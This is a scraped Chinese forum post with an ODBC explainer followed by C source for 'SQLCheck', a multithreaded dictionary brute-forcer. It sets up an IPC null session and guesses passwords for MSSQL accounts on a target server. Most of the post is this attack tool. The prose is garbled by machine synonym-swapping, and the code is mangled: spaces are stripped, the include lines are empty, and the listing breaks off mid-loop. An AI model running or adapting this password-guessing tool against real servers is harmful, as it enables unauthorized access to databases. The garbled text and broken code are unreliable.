|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
Archive非常适合存储大量的独立的,作为历史记录的数据。因为它们不经常被读取。Archive拥有高效的插入速度,但其对查询的支持相对较差server|平安|平安性
ODBC是开放数据互连(OpenDatabaseConnectivity)的简称,它是一个用于远程会见数据库(次要是干系型数据库)的一致界面尺度。 ODBC下实际使用中是一个数据库的会见库,它供应了一组ODBCAPI函数能够供应给编程者利用。关于程序员来讲,ODBCAPI函数集实践上即是一个静态毗连库(DLL)集,能够在使用程序中间接利用它们。
一个使用程序间接挪用ODBCAPI函数来举行数据库的使用事情,事情历程一样平常对照庞大。个中一种举措也许是以下几步:
<1>启动ODBC数据库使用程序。
<2>与服务器创建IPCSESSION。
<3>创立数据库使用的情况句柄。
<4>创立毗连句柄。
<5>毗连数据源。
<6>创立语句句柄。
<7>经由过程上一步创立的语句句柄来实行SQL操纵。
<8>开释语句句柄。
<9>要举行多此SQL操纵的话,就轮回步骤6-8。
<10>断开与数据库的毗连。
<11>开释毗连句柄。
<12>开释情况句柄。
<13>断开IPCSESSION。
<14>程序停止。
上面以一个实例来讲明远程检测MSSQLServer账号暗码的全历程。
/**********************************************************
ModuleName:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c)eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
////////////////////////////////////////////////////////////////////////
file://界说全局变量
chardict[20000][40],//暗码字典
UserName[40],//用户名
target[40],//方针服务器
passwd[40];//已探测出来的准确暗码
inttotal=0;//字典内里单词数目
BOOLCracked=FALSE;//探测暗码乐成时此值为TRUE
HANDLEhSemaphore,//信标内查对象
hEvent;//事务内查对象
longMaxThreads,//最年夜线程数目
ActiveThreads;//举动线程数目
////////////////////////////////////////////////////////////////////////
voidusage(char*pragname)
{
printf("
Powerbyeyas"
"
http://www.patching.net"
"
2000/12/14"
"
Usage:%s"
"
Example:%s192.168.0.1sac:pwd.dic50
",pragname,pragname);
return;
}
////////////////////////////////////////////////////////////////////////
intReadDic(char*dic)
{
FILE*fp;
chartmp[40];
file://翻开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("
Cantopen%s",dic);
return1;
}
while(!feof(fp))
{
file://读取数据光临时变量
if(fgets(tmp,40,fp)==NULL)
break;
file://把从文件内里读出来的最初一名数据[换行标记]往失落
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return0;
}
////////////////////////////////////////////////////////////////////////
intConnIPC(char*RemoteName)
{
NETRESOURCEnr;
DWORDflags=CONNECT_UPDATE_PROFILE;
TCHARRN[30]="\",
LN[5]="";
strcat(RN,RemoteName);
strcat(RN,"ipc$");
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return0;
}
else
{
return1;
}
}
////////////////////////////////////////////////////////////////////////
intDelIPC(char*RemoteName)
{
DWORDret;
TCHARlpName[30]="\";
strcat(lpName,RemoteName);
strcat(lpName,"ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return0;
}
else
{
return1;
}
}
////////////////////////////////////////////////////////////////////////
DWORDWINAPISQLCheck(PVOIDpPwd)
{
file://界说部分变量
charszBuffer[1025];
char*pwd;
SWORDswStrLen;
SQLHDBChdbc;
SQLHANDLEhenv;
SQLRETURNretcode;//ODBCAPI运转前往值
SCHARConnStr[200];//毗连数据库字符串
longPreviousCount;
file://获得传送过去筹办探测的暗码
pwd=(char*)pPwd;
file://机关毗连数据库字符
sprintf(ConnStr,"DRIVER={SQLServer};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://创立数据库使用的情况句柄
if(SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv)!=SQL_SUCCESS)
{
printf("
Allocateenvironmenthandlefailed.
");
ExitProcess(1);
}
file://设置ODBC版本情况
if(SQLSetEnvAttr(henv,SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3,SQL_IS_INTEGER)!=SQL_SUCCESS)
{
printf("
SettheODBCversionenvironmentattributefailed.
");
SQLFreeHandle(SQL_HANDLE_ENV,henv);
ExitProcess(1);
}
file://创立毗连句柄
if((retcode=SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBCFAR
*)&hdbc))!=SQL_SUCCESS)
{
printf("
Allocateconnectionhandlefailed.
");
SQLFreeHandle(SQL_HANDLE_ENV,henv);
ExitProcess(1);
}
file://毗连数据源
retcode=SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS&&retcode!=SQL_SUCCESS_WITH_INFO)
{
file://毗连失利,函数停止
file://printf("
Couldntconnectto%sMSSQLserver.
",target);
}
else
{
file://毗连远程MSSQLServer数据库乐成
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://断开毗连
SQLDisconnect(hdbc);
}
}//endoftyr
__finally{
file://开释毗连句柄
SQLFreeHandle(SQL_HANDLE_DBC,hdbc);
file://开释情况句柄
SQLFreeHandle(SQL_HANDLE_ENV,henv);
file://对信标以后资本数目举行递增1,并获得以后资本数目的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://盘算以后举动线程数目
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("
ActiveThreads-->%d.",ActiveThreads);
file://假如举动线程数目为0,那末将事务内查对象hEvent改成已关照形态,程序停止
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//endoffinally
return0;
}
////////////////////////////////////////////////////////////////////////
intmain(intargc,char**argv)
{
HANDLEhThread;//线程句柄
DWORDdwThreadId,dwRet;
inti=0,err=0;
clock_tstart,end;//程序运转的肇端和停止工夫
doubleduration;
if(argc!=5)
{
usage(argv[0]);
return1;
}
file://获得方针地点,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://获得并反省用户输出的最年夜线程数目
MaxThreads=atol(argv[4]);
if((MaxThreads>100)||(MaxThreads<1))
{
usage(argv[0]);
return1;
}
file://读取字典中的单词到内存中
if(ReadDic(argv[3])!=0)
return1;
file://与方针呆板创建IPCSession
if(ConnIPC(argv[1])!=0)
{
printf("
CantbuiltIPCNULLSession!");
return1;
}
else
{
printf("
BuiltIPCNULLSessionsuccess!
");
}
file://创立信标内查对象,最年夜资本数目和可使用的资本数目均为MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("
CreateSemaphore()failed.ErrorCode:%d.",GetLastError());
return1;
}
file://创立事务内查对象[野生重置,初始形态为未关照]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("
CreateEvent()failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return1;
}
file://入手下手计时
start=clock();
file://入手下手创建线程探测暗码
for(i=0;i |
|